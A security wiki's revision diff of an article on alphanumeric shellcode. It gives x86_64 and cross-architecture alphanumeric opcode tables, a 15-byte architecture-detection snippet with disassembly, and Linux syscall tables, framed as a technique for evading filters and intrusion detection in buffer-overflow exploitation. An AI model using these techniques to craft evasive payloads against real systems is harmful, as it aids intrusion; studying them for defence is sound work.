Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "Alphanumeric shellcode"

From NetSec
Jump to: navigation, search
(Alphanumeric execve('/bin/sh') - 120 bytes)
 
(201 intermediate revisions by 8 users not shown)
Line 1: Line 1:
Blah,  
+
<center>'''Alphanumeric [[shellcode]]''' is similar to [[ascii shellcode]] in that it is used to [[filter bypass|bypass character filters]] and [[IDS evasion|evade intrusion-detection]] during [[Buffer Overflows|buffer overflow]] [[exploitation]].</center>{{info|<center>This article documents alphanumeric code on [[#15_Byte_Architecture_Detection_Shellcode|multiple architectures]], but primarily the '''64 bit''' x86 architecture.</center>}}
There's 32 bit and 64 bit, so lets go!
+
{{prereq|[[bitwise math]], [[assembly]] and [[shellcode]].}}
 +
<font size="-2">Special thanks to [[User:hatter|hatter]] for his contributions to this article.</font>
 +
= Available x86_64 instructions =
 +
{{info|This chart contains '''64-bit''' alphanumeric opcodes.  32-bit alphanumeric opcodes are available at the 32-bit [[ascii shellcode]] entry. When limited only to instructions that have corresponding ascii characters; programmers must emulate other required instructions using only the instructions available.}}
  
= Intercompatible Alphanumeric Opcodes =
 
######################################################
 
#    Intercompatible x86* alphanumeric opcodes      #
 
######################################################
 
# 0x64,0x65  #  d,e  #  [fs|gs] prefix              #
 
# 0x66,0x67  #  f,g  #  16bit [operand|ptr] override #
 
# 0x68,0x6a  #  h,j  #  push                        #
 
# 0x69,0x6b  #  i,k  #  imul                        #
 
# 0x6c-0x6f  #  l-o  #  ins[bwd], outs[bwd]          #
 
# 0x70-0x7a  #  p-z  #  Conditional jumps            #
 
# 0x30-0x35  #  0-5  #  xor                          #
 
# 0x36      #  6  #  %ss segment register        #
 
# 0x38-0x39  #  8,9  #  cmp                          #
 
# 0x50-0x57  #  P-W  #  push *x,*i,*p                #
 
# 0x58-0x5a  #  XYZ  #  pop [*ax, *cx, *dx]          #
 
######################################################
 
  
= Using machine code compatibility hiccups to determine CPU architecture =  
+
{| class="wikitable" style="text-align:center; width:60%;"
  [root@ares bha]# strings xarch32.o
+
|+ Numeric
TX4HPZTAZAYVH92
+
|-
[root@ares bha]# strings xarch64.o
+
! scope="col" | ASCII
TX4HPZTAZAYVH92
+
! scope="col" | Hex
  [root@ares bha]# echo -n $(strings xarch32.o)|wc -c
+
! scope="col" | Assembler Instruction
15
+
|-
[root@ares bha]# # Returns true on a 32 bit system:
+
! scope="row" | 0
 +
| 0x30
 +
| xor %{16bit}, (%{64bit})
 +
|-
 +
! scope="row" | 1
 +
| 0x31
 +
| xor %{32bit}, (%{64bit})
 +
|-
 +
! scope="row" | 2
 +
| 0x32
 +
| xor (%{64bit}), %{16bit}
 +
|-
 +
! scope="row" | 3
 +
| 0x33
 +
| xor (%{64bit}), %{32bit}
 +
|-
 +
! scope="row" | 4
 +
| 0x34
 +
|  xor [byte], %al
 +
|-
 +
! scope="row" | 5
 +
| 0x35
 +
| xor [dword], %eax
 +
|-
 +
! scope="row" | 6
 +
| 0x36
 +
| %ss segment register
 +
|-
 +
! scope="row" | 7
 +
| 0x37
 +
| Bad Instruction!
 +
|-
 +
! scope="row" | 8
 +
| 0x38
 +
| cmp %{16bit}, (%{64bit})
 +
|-
 +
! scope="row" | 9
 +
| 0x39
 +
| cmp %{32bit}, (%{64bit})
 +
|-
 +
|}
 +
{| class="wikitable" style="text-align:center; width:60%;"
 +
|-
 +
|+ Uppercase
 +
|-
 +
! scope="col" | ASCII
 +
! scope="col" | Hex
 +
! scope="col" | Assembler Instruction
 +
|-
 +
 
 +
! scope="row" | A
 +
| 0x41
 +
| 64 bit reserved prefix
 +
|-
 +
! scope="row" | B
 +
| 0x42
 +
| 64 bit reserved prefix
 +
|-
 +
! scope="row" | C
 +
| 0x43
 +
| 64 bit reserved prefix
 +
|-
 +
! scope="row" | D
 +
| 0x44
 +
| 64 bit reserved prefix
 +
|-
 +
! scope="row" | E
 +
| 0x45
 +
| 64 bit reserved prefix
 +
|-
 +
! scope="row" | F
 +
| 0x46
 +
| 64 bit reserved prefix
 +
|-
 +
! scope="row" | G
 +
| 0x47
 +
| 64 bit reserved prefix
 +
|-
 +
! scope="row" | H
 +
| 0x48
 +
| 64 bit reserved prefix
 +
|-
 +
! scope="row" | I
 +
| 0x49
 +
| 64 bit reserved prefix
 +
|-
 +
! scope="row" | J
 +
| 0x4a
 +
|64 bit reserved prefix
 +
|-
 +
! scope="row" | K
 +
| 0x4b
 +
|64 bit reserved prefix
 +
|-
 +
! scope="row" | L
 +
| 0x4c
 +
| 64 bit reserved prefix
 +
|-
 +
! scope="row" | M
 +
| 0x4d
 +
|64 bit reserved prefix
 +
|-
 +
! scope="row" | N
 +
| 0x4e
 +
|64 bit reserved prefix
 +
|-
 +
! scope="row" | O
 +
| 0x4f
 +
|64 bit reserved prefix
 +
|-
 +
! scope="row" | P
 +
| 0x50
 +
|push %rax
 +
|-
 +
! scope="row" | Q
 +
| 0x51
 +
|push %rcx
 +
|-
 +
! scope="row" | R
 +
| 0x52
 +
|push %rdx
 +
|-
 +
! scope="row" | S
 +
| 0x53
 +
|push %rbx
 +
|-
 +
! scope="row" | T
 +
| 0x54
 +
|push %rsp
 +
|-
 +
! scope="row" | U
 +
| 0x55
 +
|push %rbp
 +
|-
 +
! scope="row" | V
 +
| 0x56
 +
|push %rsi
 +
|-
 +
! scope="row" | W
 +
| 0x57
 +
|push %rdi
 +
|-
 +
! scope="row" | X
 +
| 0x58
 +
|pop %rax
 +
|-
 +
! scope="row" | Y
 +
| 0x59
 +
|pop %rcx
 +
|-
 +
! scope="row" | Z
 +
| 0x5a
 +
|pop %rdx
 +
|-
 +
|}
 +
 
 +
 
 +
{| class="wikitable" style="text-align:center; width:60%;"
 +
|-
 +
|+ Lowercase
 +
|-
 +
! scope="col" | ASCII
 +
! scope="col" | Hex
 +
! scope="col" | Assembler Instruction
 +
|-
 +
 
 +
! scope="row" | a
 +
| 0x61
 +
|Bad Instruction!
 +
|-
 +
! scope="row" | b
 +
| 0x62
 +
|Bad Instruction!
 +
|-
 +
! scope="row" | c
 +
| 0x63
 +
|movslq (%{64bit}), %{32bit}
 +
|-
 +
! scope="row" | d
 +
| 0x64
 +
|%fs segment register
 +
|-
 +
! scope="row" | e
 +
| 0x65
 +
| %gs segment register
 +
|-
 +
! scope="row" | f
 +
| 0x66
 +
| 16 bit operand override
 +
|-
 +
! scope="row" | g
 +
| 0x67
 +
| 16 bit ptr override
 +
|-
 +
! scope="row" | h
 +
| 0x68
 +
|push [dword]
 +
|-
 +
! scope="row" | i
 +
| 0x69
 +
|imul [dword], (%{64bit}), %{32bit}
 +
|-
 +
! scope="row" | j
 +
| 0x6a
 +
|push [byte]
 +
|-
 +
! scope="row" | k
 +
| 0x6b
 +
|imul [byte], (%{64bit}), %{32bit}
 +
|-
 +
! scope="row" | l
 +
| 0x6c
 +
|insb (%dx),%es:(%rdi)
 +
|-
 +
! scope="row" | m
 +
| 0x6d
 +
|insl (%dx),%es:(%rdi)
 +
|-
 +
! scope="row" | n
 +
| 0x6e
 +
|outsb %ds:(%rsi),(%dx)
 +
|-
 +
! scope="row" | o
 +
| 0x6f
 +
|outsl %ds:(%rsi),(%dx)
 +
|-
 +
! scope="row" | p
 +
| 0x70
 +
| jo [byte]
 +
|-
 +
! scope="row" | q
 +
| 0x71
 +
| jno [byte]
 +
|-
 +
! scope="row" | r
 +
| 0x72
 +
| jb [byte]
 +
|-
 +
! scope="row" | s
 +
| 0x73
 +
| jae [byte]
 +
|-
 +
! scope="row" | t
 +
| 0x74
 +
| je [byte]
 +
|-
 +
! scope="row" | u
 +
| 0x75
 +
| jne [byte]
 +
|-
 +
! scope="row" | v
 +
| 0x76
 +
| jbe [byte]
 +
|-
 +
! scope="row" | w
 +
| 0x77
 +
| ja [byte]
 +
|-
 +
! scope="row" | x
 +
| 0x78
 +
| js [byte]
 +
|-
 +
! scope="row" | y
 +
| 0x79
 +
| jns [byte]
 +
|-
 +
! scope="row" | z
 +
| 0x7a
 +
| jp [byte]
 +
|-
 +
|}
 +
 
 +
= Alphanumeric opcode compatibility =
 +
Intercompatible opcodes are important to note due to the fact that many opcodes overlap and thus, writing [[shellcode]] that will run on both 32 bit and 64 bit x86 platforms becomes possible.
 +
 
 +
== Alphanumeric inter-compatible x86 opcodes ==
 +
This chart was derived by cross referencing [[#Available_Instructions|available 64 bit instructions]] with [[Ascii_shellcode#Available_Instructions|available 32 bit instructions]].
 +
{| class="wikitable" style="text-align:center; width:60%;"
 +
|+ Intercompatible x86* Alphanumeric Opcodes
 +
|-
 +
! scope="col" | Hex
 +
! scope="col" | ASCII
 +
! scope="col" | Assembler Instruction
 +
|-
 +
! scope="row" | 0x64, 0x65
 +
| d,e
 +
|[fs &#x7c; gs] prefix
 +
|-
 +
! scope="row" | 0x66, 0x67
 +
| f,g
 +
| 16bit [operand &#x7c; ptr] override
 +
|-
 +
! scope="row" | 0x68, 0x6a
 +
| h,j
 +
| push
 +
|-
 +
! scope="row" | 0x69, 0x6b
 +
| i,k
 +
| imul
 +
|-
 +
! scope="row" | 0x6c-0x6f
 +
| l-o
 +
| ins[bwd], outs[bwd]
 +
|-
 +
! scope="row" | 0x70-0x7a
 +
| p-z
 +
| Conditional Jumps
 +
|-
 +
! scope="row" | 0x30-0x35
 +
| 0-5
 +
| xor
 +
|-
 +
! scope="row" | 0x36
 +
| 6
 +
| %ss segment register
 +
|-
 +
! scope="row" | 0x38-0x39
 +
| 8,9
 +
| cmp
 +
|-
 +
! scope="row" | 0x50-0x57
 +
| P-W
 +
| push *x, *i, *p
 +
|-
 +
! scope="row" | 0x58-0x5a
 +
| XYZ
 +
| pop [*ax, *cx, *dx]
 +
|-
 +
|}
 +
 
 +
Because not ''all'' opcodes are intercompatible, yet comparisons and conditional jumps ''are'' intercompatible, it is possible to determine the architecture of an x86 processor using exclusively alphanumeric opcodes.  The opcodes which are specifically not compatible are limited to the 64 bit special prefixes '''0x40-0x4f''', which allow for manipulation of 64 bit registers and 8 additional 64 bit general purpose registers, '''%r8-%r15'''.  By making use of these additional registers (which 32 bit processors do not have), one can perform an operation that will set a value on a different register in the two processors.  Following this, a conditional statement can be made against one of the two registers to determine if the value was set.  Using the '''pop''' instruction is the most effective way to set the value of a register due to instructional limitations.  Using an alternative register to %rsp or %esp as the stack pointer enables the use of an effective conditional statement to determine if the value of a register is equal to the most recent thing pushed or popped from the stack.
 +
 
 +
==15 byte architecture detection shellcode==
 +
{{info|This bytecode does not have a conditional jump.  The reader may add this for customization based on the size and architecture of the payload that occurs after this snippet.}}
 +
This simple alphanumeric bytecode is 15 bytes long, ending in a comparison which returns '''equal''' on a 32 bit system and '''not equal''' on a 64 bit system.  The conditional jump may be best reserved for the '''t''' and '''u''' instructions, '''jump if equal''' and '''jump if not equal''', respectively.
 +
 
 +
* Assembled:
 +
'''TX4HPZTAZAYVH92'''
 +
 
 +
* Disassembly:
 
  [root@ares bha]# objdump -d xarch32.o
 
  [root@ares bha]# objdump -d xarch32.o
 
   
 
   
 
  xarch32.o:    file format elf32-i386
 
  xarch32.o:    file format elf32-i386
 
 
   
 
   
 
  Disassembly of section .text:
 
  Disassembly of section .text:
 
 
  00000000 <_start>:
 
  00000000 <_start>:
 
     0:  54                      push  %esp
 
     0:  54                      push  %esp
Line 48: Line 372:
 
     c:  48                      dec    %eax
 
     c:  48                      dec    %eax
 
     d:  39 32                  cmp    %esi,(%edx)
 
     d:  39 32                  cmp    %esi,(%edx)
  [root@ares bha]# # Returns false on a 64 bit system:
+
  [root@ares bha]# # Returns not-equal on a 64 bit system:
 
  [root@ares bha]# objdump -d xarch64.o
 
  [root@ares bha]# objdump -d xarch64.o
 
   
 
   
Line 67: Line 391:
 
     b:  56                      push  %rsi
 
     b:  56                      push  %rsi
 
     c:  48 39 32                cmp    %rsi,(%rdx)
 
     c:  48 39 32                cmp    %rsi,(%rdx)
[root@ares bha]# # Will not cause a segfault because (%rdx) points to somewhere inside the stack.
 
[root@ares bha]# # Now we can use all uppercase/numeric unicode-resistant shellcode to determine
 
[root@ares bha]# # cpu architecture regardless of the operating system.  Enjoy.
 
  
= 32 bit syscall table =
+
On a 64-bit system, this will not cause a segfault because (%rdx) points to somewhere inside the stackAlso notice that while this was assembled as a [[Linux]]-based ELF executable, the [[Operating System]] should not matter, as this stays within the confines of legal instructions for any x86 CPU that should not cause an access violation.
{{protip|Set the %eax register value to the appropriate integer to invoke the function when invoking '''int $0x80''' or '''\xcd\x80'''.}}
+
  1:sys_exit:(int error_code);
+
2:sys_fork:int sys_fork(struct pt_regs *);
+
3:sys_read:(unsigned int fd, char __user *buf, size_t count);
+
4:sys_write:(unsigned int fd, const char __user *buf,
+
5:sys_open:(const char __user *filename,
+
6:sys_close:(unsigned int fd);
+
7:sys_restart_syscall:(void);
+
8:sys_creat:(const char __user *pathname, int mode);
+
9:sys_link:(const char __user *oldname,
+
10:sys_unlink:(const char __user *pathname);
+
11:sys_execve:long sys_execve(const char __user *,
+
12:sys_chdir:(const char __user *filename)
+
13:sys_time:(time_t __user *tloc);
+
14:sys_mknod:(const char __user *filename, int mode,
+
15:sys_chmod:(const char __user *filename, mode_t mode);
+
16:sys_lchown16:(const char __user *filename,
+
19:sys_lseek:(unsigned int fd, off_t offset,
+
20:sys_getpid:(void);
+
21:sys_mount:(char __user *dev_name, char __user *dir_name,
+
22:sys_oldumount:(char __user *name)
+
23:sys_setuid16:(old_uid_t uid);
+
24:sys_getuid16:(void);
+
25:sys_stime:(time_t __user *tptr);
+
26:sys_ptrace:(long request, long pid, unsigned long addr,
+
27:sys_alarm:(unsigned int seconds);
+
29:sys_pause:(void);
+
30:sys_utime:(char __user *filename,
+
33:sys_access:(const char __user *filename, int mode);
+
34:sys_nice:(int increment);
+
36:sys_sync:(void);
+
37:sys_kill:(int pid, int sig);
+
38:sys_rename:(const char __user *oldname,
+
39:sys_mkdir:(const char __user *pathname, int mode);
+
40:sys_rmdir:(const char __user *pathname);
+
41:sys_dup:(unsigned int fildes);
+
42:sys_pipe:int sys_fork(struct pt_regs *);
+
43:sys_times:(struct tms __user *tbuf);
+
45:sys_brk:(unsigned long brk);
+
46:sys_setgid16:(old_gid_t gid);
+
47:sys_getgid16:(void);
+
48:sys_signal:(int sig, __sighandler_t handler);
+
49:sys_geteuid16:(void);
+
50:sys_getegid16:(void);
+
51:sys_acct:(const char __user *name);
+
52:sys_umount:(char __user *name, int flags)
+
54:sys_ioctl:(unsigned int fd, unsigned int cmd,
+
55:sys_fcntl:(unsigned int fd, unsigned int cmd, unsigned long arg);
+
57:sys_setpgid:(pid_t pid, pid_t pgid);
+
60:sys_umask:(int mask);
+
61:sys_chroot:(const char __user *filename);
+
62:sys_ustat:(unsigned dev, struct ustat __user *ubuf)
+
63:sys_dup2:int sys_fork(struct pt_regs *);
+
64:sys_getppid:(void);
+
65:sys_getpgrp:(void);
+
66:sys_setsid:(void);
+
67:sys_sigaction:asmlinkage int sys_sigaction(int, const struct old_sigaction __user *,
+
70:sys_setreuid16:(old_uid_t ruid, old_uid_t euid);
+
71:sys_setregid16:(old_gid_t rgid, old_gid_t egid);
+
72:sys_sigsuspend:asmlinkage int sys_sigsuspend(int, int, old_sigset_t);
+
73:sys_sigpending:(old_sigset_t __user *set);
+
74:sys_sethostname:(char __user *name, int len);
+
75:sys_setrlimit:(unsigned int resource,
+
76:sys_old_getrlimit:(unsigned int resource, struct rlimit __user *rlim);
+
77:sys_getrusage:(int who, struct rusage __user *ru);
+
78:sys_gettimeofday:(struct timeval __user *tv,
+
79:sys_settimeofday:(struct timeval __user *tv,
+
80:sys_getgroups16:(int gidsetsize, old_gid_t __user *grouplist);
+
81:sys_setgroups16:(int gidsetsize, old_gid_t __user *grouplist);
+
83:sys_symlink:(const char __user *old, const char __user *new);
+
85:sys_readlink:(const char __user *path,
+
86:sys_uselib:(const char __user *library);
+
87:sys_swapon:(const char __user *specialfile, int swap_flags);
+
88:sys_reboot:(int magic1, int magic2, unsigned int cmd,
+
89:sys_ni_syscall:(void);
+
90:sys_old_mmap:(struct mmap_arg_struct __user *arg);
+
91:sys_munmap:(unsigned long addr, size_t len);
+
92:sys_truncate:(const char __user *path, loff_t length);
+
93:sys_ftruncate:(unsigned int fd, unsigned long length);
+
94:sys_fchmod:(unsigned int fd, mode_t mode);
+
95:sys_fchown16:(unsigned int fd, old_uid_t user, old_gid_t group);
+
96:sys_getpriority:(int which, int who);
+
97:sys_setpriority:(int which, int who, int niceval);
+
99:sys_statfs:(const char __user * path,
+
100:sys_fstatfs:(unsigned int fd, struct statfs __user *buf);
+
102:sys_socketcall:(int call, unsigned long __user *args)
+
103:sys_syslog:(int type, char __user *buf, int len);
+
104:sys_setitimer:(int which,
+
105:sys_getitimer:(int which, struct itimerval __user *value);
+
106:sys_newstat:(const char __user *filename,
+
107:sys_newlstat:(const char __user *filename,
+
108:sys_newfstat:(unsigned int fd, struct stat __user *statbuf);
+
110:sys_lookup_dcookie:(u64 cookie64, char __user *buf, size_t len);
+
111:sys_vhangup:(void)
+
114:sys_wait4:(pid_t pid, int __user *stat_addr,
+
115:sys_swapoff:(const char __user *specialfile);
+
116:sys_sysinfo:(struct sysinfo __user *info);
+
117:sys_s390_ipc:
+
118:sys_fsync:(unsigned int fd);
+
119:sys_sigreturn:unsigned long sys_sigreturn(struct pt_regs *);
+
120:sys_clone:long sys_clone(unsigned long, unsigned long, void __user *,
+
121:sys_setdomainname:(char __user *name, int len);
+
122:sys_newuname:(struct new_utsname __user *name)
+
124:sys_adjtimex:(struct timex __user *txc_p);
+
125:sys_mprotect:(unsigned long start, size_t len,
+
126:sys_sigprocmask:(int how, old_sigset_t __user *set,
+
128:sys_init_module:(void __user *umod, unsigned long len,
+
129:sys_delete_module:(const char __user *name_user,
+
131:sys_quotactl:(unsigned int cmd, const char __user *special,
+
132:sys_getpgid:(pid_t pid)
+
133:sys_fchdir:(unsigned int fd);
+
134:sys_bdflush:(int func, long data);
+
135:sys_sysfs:(int option,
+
136:sys_personality:(unsigned int personality);
+
138:sys_setfsuid16:(old_uid_t uid);
+
139:sys_setfsgid16:(old_gid_t gid);
+
140:sys_llseek:(unsigned int fd, unsigned long offset_high,
+
141:sys_getdents:(unsigned int fd,
+
142:sys_select:
+
143:sys_flock:(unsigned int fd, unsigned int cmd);
+
144:sys_msync:(unsigned long start, size_t len, int flags);
+
145:sys_readv:(unsigned long fd,
+
146:sys_writev:(unsigned long fd,
+
147:sys_getsid:(pid_t pid);
+
148:sys_fdatasync:(unsigned int fd);
+
149:sys_sysctl:(struct __sysctl_args __user *args);
+
150:sys_mlock:(unsigned long start, size_t len);
+
151:sys_munlock:(unsigned long start, size_t len);
+
152:sys_mlockall:(int flags)
+
153:sys_munlockall:(void);
+
154:sys_sched_setparam:(pid_t pid,
+
155:sys_sched_getparam:(pid_t pid,
+
156:sys_sched_setscheduler:(pid_t pid, int policy,
+
157:sys_sched_getscheduler:(pid_t pid);
+
158:sys_sched_yield:(void);
+
159:sys_sched_get_priority_max:(int policy);
+
160:sys_sched_get_priority_min:(int policy);
+
161:sys_sched_rr_get_interval:(pid_t pid,
+
162:sys_nanosleep:(struct timespec __user *rqtp, struct timespec __user *rmtp)
+
163:sys_mremap:(unsigned long addr,
+
164:sys_setresuid16:(old_uid_t ruid, old_uid_t euid, old_uid_t suid);
+
165:sys_getresuid16:(old_uid_t __user *ruid,
+
168:sys_poll:(struct pollfd __user *ufds, unsigned int nfds,
+
170:sys_setresgid16:(old_gid_t rgid, old_gid_t egid, old_gid_t sgid);
+
171:sys_getresgid16:(old_gid_t __user *rgid,
+
172:sys_prctl:
+
173:sys_rt_sigreturn:long sys_rt_sigreturn(struct pt_regs *);
+
174:sys_rt_sigaction:long sys_rt_action(int, const struct sigaction __user *, struct sigaction __user *, size_t);
+
175:sys_rt_sigprocmask:(int how, sigset_t __user *set,
+
176:sys_rt_sigpending:(sigset_t __user *set, size_t sigsetsize);
+
177:sys_rt_sigtimedwait:(const sigset_t __user *uthese,
+
178:sys_rt_sigqueueinfo:(int pid, int sig, siginfo_t __user *uinfo);
+
179:sys_rt_sigsuspend:
+
180:sys_pread64:(unsigned int fd, char __user *buf,
+
181:sys_pwrite64:(unsigned int fd, const char __user *buf,
+
182:sys_chown16:
+
183:sys_getcwd:(char __user *buf, unsigned long size);
+
184:sys_capget:(cap_user_header_t header,
+
185:sys_capset:(cap_user_header_t header,
+
186:sys_sigaltstack:long sys_sigaltstack(const stack_t __user *, stack_t __user *,
+
187:sys_sendfile:(int out_fd, int in_fd,
+
190:sys_vfork:int sys_vfork(struct pt_regs *regs)
+
191:sys_getrlimit:(unsigned int resource,
+
192:sys_mmap2:
+
193:sys_truncate64:(const char __user *path, loff_t length);
+
194:sys_ftruncate64:(unsigned int fd, loff_t length);
+
195:sys_stat64:(const char __user *filename,
+
196:sys_lstat64:(const char __user *filename,
+
197:sys_fstat64:(unsigned long fd, struct stat64 __user *statbuf);
+
198:sys_lchown:(const char __user *filename,
+
199:sys_getuid:(void);
+
200:sys_getgid:(void);
+
201:sys_geteuid:(void);
+
202:sys_getegid:(void);
+
203:sys_setreuid:(old_uid_t ruid, old_uid_t euid);
+
204:sys_setregid:(old_gid_t rgid, old_gid_t egid);
+
205:sys_getgroups:(int gidsetsize, old_gid_t __user *grouplist);
+
206:sys_setgroups:(int gidsetsize, old_gid_t __user *grouplist);
+
207:sys_fchown:(unsigned int fd, old_uid_t user, old_gid_t group);
+
208:sys_setresuid:(old_uid_t ruid, old_uid_t euid, old_uid_t suid);
+
209:sys_getresuid:(old_uid_t __user *ruid,
+
210:sys_setresgid:(old_gid_t rgid, old_gid_t egid, old_gid_t sgid);
+
211:sys_getresgid:(old_gid_t __user *rgid,
+
212:sys_chown:
+
213:sys_setuid:(old_uid_t uid);
+
214:sys_setgid:(old_gid_t gid);
+
215:sys_setfsuid:(old_uid_t uid);
+
216:sys_setfsgid:(old_gid_t gid);
+
217:sys_pivot_root:(const char __user *new_root,
+
218:sys_mincore:(unsigned long start, size_t len,
+
219:sys_madvise:(unsigned long start, size_t len, int behavior);
+
220:sys_getdents64:(unsigned int fd,
+
221:sys_fcntl64:(unsigned int fd,
+
222:sys_readahead:(int fd, loff_t offset, size_t count)
+
223:sys_sendfile64:(int out_fd, int in_fd,
+
224:sys_setxattr:(const char __user *path, const char __user *name,
+
225:sys_lsetxattr:(const char __user *path, const char __user *name,
+
226:sys_fsetxattr:(int fd, const char __user *name,
+
227:sys_getxattr:(const char __user *path, const char __user *name,
+
228:sys_lgetxattr:(const char __user *path, const char __user *name,
+
229:sys_fgetxattr:(int fd, const char __user *name,
+
230:sys_listxattr:(const char __user *path, char __user *list,
+
231:sys_llistxattr:(const char __user *path, char __user *list,
+
232:sys_flistxattr:(int fd, char __user *list, size_t size)
+
233:sys_removexattr:(const char __user *path,
+
234:sys_lremovexattr:(const char __user *path,
+
235:sys_fremovexattr:(int fd, const char __user *name);
+
236:sys_gettid:(void);
+
237:sys_tkill:(int pid, int sig);
+
238:sys_futex:(u32 __user *uaddr, int op, u32 val,
+
239:sys_sched_setaffinity:(pid_t pid, unsigned int len,
+
240:sys_sched_getaffinity:(pid_t pid, unsigned int len,
+
241:sys_tgkill:(int tgid, int pid, int sig);
+
243:sys_io_setup:(unsigned nr_reqs, aio_context_t __user *ctx);
+
244:sys_io_destroy:(aio_context_t ctx);
+
245:sys_io_getevents:(aio_context_t ctx_id,
+
246:sys_io_submit:(aio_context_t, long,
+
247:sys_io_cancel:(aio_context_t ctx_id, struct iocb __user *iocb,
+
248:sys_exit_group:(int error_code);
+
249:sys_epoll_create:(int size);
+
250:sys_epoll_ctl:(int epfd, int op, int fd,
+
251:sys_epoll_wait:(int epfd, struct epoll_event __user *events,
+
252:sys_set_tid_address:(int __user *tidptr)
+
253:sys_s390_fadvise64:
+
254:sys_timer_create:(clockid_t which_clock,
+
255:sys_timer_settime:(timer_t timer_id, int flags,
+
256:sys_timer_gettime:(timer_t timer_id,
+
257:sys_timer_getoverrun:(timer_t timer_id);
+
258:sys_timer_delete:(timer_t timer_id);
+
259:sys_clock_settime:(clockid_t which_clock,
+
260:sys_clock_gettime:(clockid_t which_clock,
+
261:sys_clock_getres:(clockid_t which_clock,
+
262:sys_clock_nanosleep:
+
264:sys_s390_fadvise64_64:
+
265:sys_statfs64:(const char __user *path, size_t sz,
+
266:sys_fstatfs64:(unsigned int fd, size_t sz,
+
267:sys_remap_file_pages:
+
271:sys_mq_open:(const char __user *name, int oflag, mode_t mode, struct mq_attr __user *attr);
+
272:sys_mq_unlink:(const char __user *name)
+
273:sys_mq_timedsend:(mqd_t mqdes, const char __user *msg_ptr, size_t msg_len, unsigned int msg_prio, const struct timespec __user *abs_timeout);
+
274:sys_mq_timedreceive:(mqd_t mqdes, char __user *msg_ptr, size_t msg_len, unsigned int __user *msg_prio, const struct timespec __user *abs_timeout);
+
275:sys_mq_notify:(mqd_t mqdes, const struct sigevent __user *notification);
+
276:sys_mq_getsetattr:(mqd_t mqdes, const struct mq_attr __user *mqstat, struct mq_attr __user *omqstat);
+
277:sys_kexec_load:(unsigned long entry, unsigned long nr_segments,
+
278:sys_add_key:(const char __user *_type,
+
279:sys_request_key:(const char __user *_type,
+
280:sys_keyctl:(int cmd, unsigned long arg2, unsigned long arg3,
+
281:sys_waitid:(int which, pid_t pid,
+
282:sys_ioprio_set:(int which, int who, int ioprio)
+
283:sys_ioprio_get:(int which, int who);
+
284:sys_inotify_init:(void);
+
285:sys_inotify_add_watch:(int fd, const char __user *path,
+
286:sys_inotify_rm_watch:(int fd, __s32 wd);
+
288:sys_openat:(int dfd, const char __user *filename, int flags,
+
289:sys_mkdirat:(int dfd, const char __user * pathname, int mode);
+
290:sys_mknodat:(int dfd, const char __user * filename, int mode,
+
291:sys_fchownat:(int dfd, const char __user *filename, uid_t user,
+
292:sys_futimesat:
+
293:sys_fstatat64:(int dfd, const char __user *filename,
+
294:sys_unlinkat:(int dfd, const char __user * pathname, int flag);
+
295:sys_renameat:(int olddfd, const char __user * oldname,
+
296:sys_linkat:(int olddfd, const char __user *oldname,
+
297:sys_symlinkat:(const char __user * oldname,
+
298:sys_readlinkat:(int dfd, const char __user *path, char __user *buf,
+
299:sys_fchmodat:(int dfd, const char __user * filename,
+
300:sys_faccessat:(int dfd, const char __user *filename, int mode);
+
301:sys_pselect6:(int, fd_set __user *, fd_set __user *,
+
302:sys_ppoll:
+
303:sys_unshare:(unsigned long unshare_flags);
+
304:sys_set_robust_list:(struct robust_list_head __user *head,
+
305:sys_get_robust_list:(int pid,
+
306:sys_splice:(int fd_in, loff_t __user *off_in,
+
307:sys_sync_file_range:(int fd, loff_t offset, loff_t nbytes,
+
308:sys_tee:(int fdin, int fdout, size_t len, unsigned int flags);
+
309:sys_vmsplice:(int fd, const struct iovec __user *iov,
+
311:sys_getcpu:(unsigned __user *cpu, unsigned __user *node, struct getcpu_cache __user *cache)
+
312:sys_epoll_pwait:
+
313:sys_utimes:(char __user *filename,
+
314:sys_s390_fallocate:
+
315:sys_utimensat:(int dfd, const char __user *filename,
+
316:sys_signalfd:(int ufd, sigset_t __user *user_mask, size_t sizemask);
+
318:sys_eventfd:(unsigned int count);
+
319:sys_timerfd_create:(int clockid, int flags);
+
320:sys_timerfd_settime:(int ufd, int flags,
+
321:sys_timerfd_gettime:(int ufd, struct itimerspec __user *otmr);
+
322:sys_signalfd4:(int ufd, sigset_t __user *user_mask, size_t sizemask, int flags)
+
323:sys_eventfd2:int sys_fork(struct pt_regs *);
+
324:sys_inotify_init1:(int flags);
+
325:sys_pipe2:int sys_fork(struct pt_regs *);
+
326:sys_dup3:(unsigned int oldfd, unsigned int newfd, int flags);
+
327:sys_epoll_create1:(int flags);
+
328:sys_preadv:(unsigned long fd, const struct iovec __user *vec,
+
329:sys_pwritev:(unsigned long fd, const struct iovec __user *vec,
+
330:sys_rt_tgsigqueueinfo:(pid_t tgid, pid_t  pid, int sig,
+
331:sys_perf_event_open:(
+
332:sys_fanotify_init:(unsigned int flags, unsigned int event_f_flags)
+
333:sys_fanotify_mark:(int fanotify_fd, unsigned int flags,
+
334:sys_prlimit64:(pid_t pid, unsigned int resource,
+
335:sys_name_to_handle_at:(int dfd, const char __user *name,
+
336:sys_open_by_handle_at:(int mountdirfd,
+
337:sys_clock_adjtime:(clockid_t which_clock,
+
338:sys_syncfs:(int fd);
+
339:sys_setns:(int fd, int nstype);
+
340:sys_process_vm_readv:(pid_t pid,
+
341:sys_process_vm_writev:(pid_t pid,
+
  
= 64 bit syscall table =
+
=Alphanumeric x86_64 register value and data manipulation=
{{protip|Set the %rax register value to the appropriate integer to invoke the function when invoking '''syscall''' or '''\xf0\x05'''.}}
+
 
0:read
+
Given the limited set of instructions for alphanumeric shellcode, its important to note different methods to manipulate different registers within the confines of the limited instruction set.  Identifying these leads to '''mov emulations''', which make up most of the actual code.
1:write
+
2:open
+
3:close
+
4:stat
+
5:fstat
+
6:lstat
+
7:poll
+
8:lseek
+
9:mmap
+
10:mprotect
+
11:munmap
+
12:brk
+
13:rt_sigaction
+
14:rt_sigprocmask
+
15:rt_sigreturn
+
16:ioctl
+
17:pread64
+
18:pwrite64
+
19:readv
+
20:writev
+
21:access
+
22:pipe
+
23:select
+
24:sched_yield
+
25:mremap
+
26:msync
+
27:mincore
+
28:madvise
+
29:shmget
+
30:shmat
+
31:shmctl
+
32:dup
+
33:dup2
+
34:pause
+
35:nanosleep
+
36:getitimer
+
37:alarm
+
38:setitimer
+
39:getpid
+
40:sendfile
+
41:socket
+
42:connect
+
43:accept
+
44:sendto
+
45:recvfrom
+
46:sendmsg
+
47:recvmsg
+
48:shutdown
+
49:bind
+
50:listen
+
51:getsockname
+
52:getpeername
+
